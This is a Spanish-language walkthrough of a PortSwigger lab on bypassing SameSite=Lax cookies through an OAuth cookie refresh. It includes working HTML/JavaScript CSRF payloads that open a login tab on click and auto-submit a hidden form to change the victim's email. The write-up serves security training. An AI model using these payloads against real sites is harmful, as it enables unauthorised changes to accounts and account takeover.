Entrada

SameSite Lax bypass via cookie refresh

Laboratorio de Portswigger sobre CSRF

SameSite Lax bypass via cookie refresh

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una vulnerabilidad de CSRF en la función de cambio de correo electrónico. Para resolver el laboratorio, debemos realizar un ataque CSRF que modifique la dirección de correo electrónico de la víctima. El laboratorio admite inicio de sesión basado en OAuth. Podemos iniciar sesión con nuestra cuenta de red social utilizando las credenciales wiener:peter. Debemos utilizar el servidor de explotación proporcionado para alojar nuestro ataque


Guía de CSRF

Antes de completar este laboratorio es recomendable leerse esta guía de CSRF https://justice-reaper.github.io/posts/CSRF-Guide/

Resolución

Al acceder a la web vemos esto

Al pulsar sobre My account nos hace un redirect

El redirect nos lleva a este panel de login en el que nos logueamos usando las credenciales wiener:peter

Después de iniciar sesión, debemos garantizar accesos a varios de nuestros datos

Una vez hecho eso, nos sale este mensaje confirmando que el login ha sido exitoso

Si accedemos a My account nuevamente, vemos que podemos cambiar el correo electrónico

Si nos abrimos las herramientas de desarrollador de Chrome vemos que la única medida defensiva que tenemos es el atributo SameSite con el valor Lax, que es el valor por defecto. Las restricciones SameSite=Lax significan que los navegadores enviarán la cookie en solicitudes entre sitios web, pero solo si la solicitud utiliza el método GET y si la solicitud es el resultado de una navegación de nivel superior, es decir, que requiere interacción por parte del usuario, como hacer click en un enlace. Esto significa que la cookie no se incluirá en solicitudes POST entre sitios web, por ejemplo. Dado que las solicitudes POST generalmente se utilizan para realizar acciones que modifican datos o el estado (al menos según las mejores prácticas), son mucho más propensas a ser el objetivo de ataques CSRF

Las cookies con restricciones SameSite=Lax normalmente no se envían en ninguna solicitud entre sitios web por POST, pero existen algunas excepciones. Si un sitio web no incluye un atributo SameSite al configurar una cookie, Chrome aplica restricciones Lax automáticamente de forma predeterminada

Sin embargo, para evitar infringir los mecanismos de inicio de sesión único (SSO), no se aplican estas restricciones durante los primeros 120 segundos en las solicitudes de nivel superior por POST. Como resultado, existe un intervalo de dos minutos en el que los usuarios pueden ser vulnerables a ataques cross-site. Este intervalo de dos minutos no se aplican restricciones a las cookies que fueron configuradas explícitamente con el atributo SameSite=Lax

Resulta poco práctico intentar programar el ataque para que ocurra dentro de este breve periodo de tiempo. Sin embargo, si encontramos un gadget en el sitio web que nos permita forzar a la víctima a recibir una nueva cookie de sesión, podemos actualizarla preventivamente antes de continuar con el ataque principal. Por ejemplo, completar un flujo de inicio de sesión basado en OAuth puede generar una nueva cookie de sesión en cada intento, ya que el servicio OAuth no necesariamente sabe si el usuario sigue conectado al sitio web objetivo

Para activar la actualización de cookies sin que la víctima tenga que volver a iniciar sesión manualmente, es necesario utilizar una navegación de nivel superior, lo que garantiza que se incluyan las cookies asociadas a su sesión OAuth actual. Esto representa un desafío adicional, ya que luego debemos redirigir al usuario a su sitio web para poder lanzar el ataque CSRF

Como alternativa, podemos activar la actualización de cookies desde una nueva pestaña, de modo que el navegador no abandone la página antes de poder ejecutar el ataque final. Un pequeño inconveniente con este enfoque es que los navegadores bloquean las ventanas emergentes a menos que se abran manualmente. Por ejemplo, la siguiente ventana emergente estará bloqueada por defecto por el navegador

1
window.open('https://vulnerable-website.com/login/sso');

De esta manera, el método window.open() solo se invoca cuando el usuario hace click en algún lugar de la página. Esto permite que el navegador no bloquee la ventana emergente, ya que se ejecuta en respuesta a una acción del usuario

1
window.onclick = () => { window.open('https://vulnerable-website.com/login/sso'); }

Si nos dirigimos a la extensión de Burpsuite Logger++ y revisamos la petición que realizamos anteriormente para el cambio de email, nos damos cuenta de que no se está utilizando ningún token CSRF. Por lo tanto, la única medida de protección que se está aplicando es el atributo de la cookie SameSite Lax

Si intentamos modificar la petición y hacerla por GET en vez de por POST, no funciona

Debido a que no podemos realizar la petición por GET, la única opción que nos queda es la navegación de nivel superior, es decir, necesitamos que haya interacción por parte del usuario víctima. Lo primero que vamos a hacer es inspeccionar cómo se envía el formulario de cambio de email

Creamos un payload y lo almacenamos en el Exploit server

1
2
3
4
5
6
7
8
9
10
<html>
  <body>
    <form action="https://0a3f009203784cc58192c61400090045.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testing@gmail.com">
    </form>
    <script>
         document.forms[0].submit();
    </script>
  </body>
</html>

Si han pasado ya dos minutos desde que el usuario víctima inició sesión, el exploit no funcionará al primer intento. Lo que pasará es que nos redirigirá a URL login para que se nos renueve la cookie, y posteriormente, si el usuario víctima hace click nuevamente en el exploit, sí funcionará, debido a que la cookie ha sido renovada

Para forzar que se refresque la cookie, podemos hacerlo abriendo una nueva pestaña. Para ello, creamos un nuevo payload y lo almacenamos en el Exploit server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
  <body>
    <form action="https://0a3f009203784cc58192c61400090045.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testing@gmail.com">
    </form>
    <script>
        window.open('https://0a3f009203784cc58192c61400090045.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    
        function changeEmail(){
            document.forms[0].submit();
        }
    </script>
  </body>
</html>

Si pulsamos sobre View exploit, el resultado es parecido al anterior: el navegador nos bloquea que la nueva pestaña se abra y nos redirige al login para refrescar la `cookie

El motivo por el cual nos está bloqueando el payload anterior es porque no estamos interactuando con la web. He modificado el script para que tengamos que hacer click en la web y solo abra la ventana emergente una vez lo hayamos hecho

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
    <body>
        <form method="POST" action="https://0a8e00f7032e7958802e217e00110082.web-security-academy.net/my-account/change-email">
            <input type="hidden" name="email" value="pwned@gmail.com">
        </form>
        <p>Click anywhere on the page</p>
        <script>
            window.onclick = () => {
                window.open('https://0a8e00f7032e7958802e217e00110082.web-security-academy.net/social-login');
                setTimeout(changeEmail, 5000);
            }
        
            function changeEmail() {
                document.forms[0].submit();
            }
        </script>
    </body>
</html>

Al pulsar sobre View exploit nos aparecerá esta página

Una vez hagamos click en alguna parte de la web, se nos abrirá una pestaña nueva que será la encargada de refrescar la cookie

A los 5 segundos de que ocurra el paso anterior, la primera página que se nos abrió será en donde veamos que se nos ha cambiado el correo electrónico. Para completar el laboratorio, debemos dirigirnos al Exploit server y pulsar sobre Deliver exploit to victim. Es importante cambiar nuestro email o el email del payload antes de enviarlo, porque no puede haber dos usuarios con el mismo email

Esta entrada está licenciada bajo CC BY 4.0 por el autor.